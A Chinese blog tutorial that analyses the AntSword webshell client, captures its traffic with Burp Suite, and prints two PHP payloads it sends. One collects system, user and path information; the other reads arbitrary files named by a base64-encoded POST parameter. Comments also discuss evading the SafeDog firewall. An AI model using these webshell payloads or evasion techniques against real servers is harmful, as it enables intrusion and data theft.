蟻劍原理與魔改
阿新 • • 發佈:2020-11-21
## 一句話木馬原理
一句話木馬形如這樣:
```
```
使用蟻劍連線,連線成功
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191657927-1041720749.png)
那為什麼能成功呢?
首先要探尋一句話木馬的原理
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191706274-1337174572.png)
所以我們post傳入的字串會以php程式碼的形式執行,而php程式碼又能呼叫系統操作所以便成了木馬
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191717098-546232769.png)
## 蟻劍的原理
知道了一句話木馬的原理,那麼我們康康蟻劍的原理,蟻劍用很多功能確實很方便。還支援編碼,垃圾數值,隨機數,自定義編碼解碼器。
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191723211-1706049556.png)
首先選擇代理設定,因為這裡我們選擇用burpsuite來抓取流量,
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191729061-789272735.png)
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191733311-1065581005.png)
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191737269-2088268778.png)
蟻劍連線來分析一下流量
```
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回輸出緩衝區的內容
ob_end_clean(); //清理(擦除)緩衝區並關閉輸出緩衝
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //開啟輸出緩衝區
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //獲取當前url路由的絕對路徑
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //當前指令碼所在檔案系統(非文件根目錄)的基本路徑
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //獲取目錄,uid,系統資訊,使用者等資訊
```
然後我們就大概瞭解了一下蟻劍的功能,在康康蟻劍是如何獲取資料的
![](https://img2020.cnblogs.com/blog/2092671/202011/2092671-20201121191746857-1647835410.png)
```
@ini_set("display_errors", "0");
@set_time_limit(0); //不顯示報錯
function asenc($out){
return $out;
}; //用於返回資訊
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "a170af01bc"; //用於返回資訊,同時加入歲間字首,對安全狗是一種繞過
echo @asenc($output);
echo "6d341a3c3a";
}
ob_start();
try{
$F=base64_decode(substr($_POST["hfdce8c1b4e4ef"],2)); //base64解碼post傳入的另一個數據
$P=@fopen($F,"r"); // 進行讀取檔案的操作
echo(@fread($P,filesize($F)?filesize($F):4096));
@fclose($P);;
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //報錯資訊
```
原理還是很好理解的,但是不明白為什麼要令外post一個數據再進去檔案內的傳遞,難道是面對物件編寫的原因,還是令有好處,但是如果整體個人覺得更容易混淆流量,不過問題不大,後面還要編碼更多的引數,才能繞過安全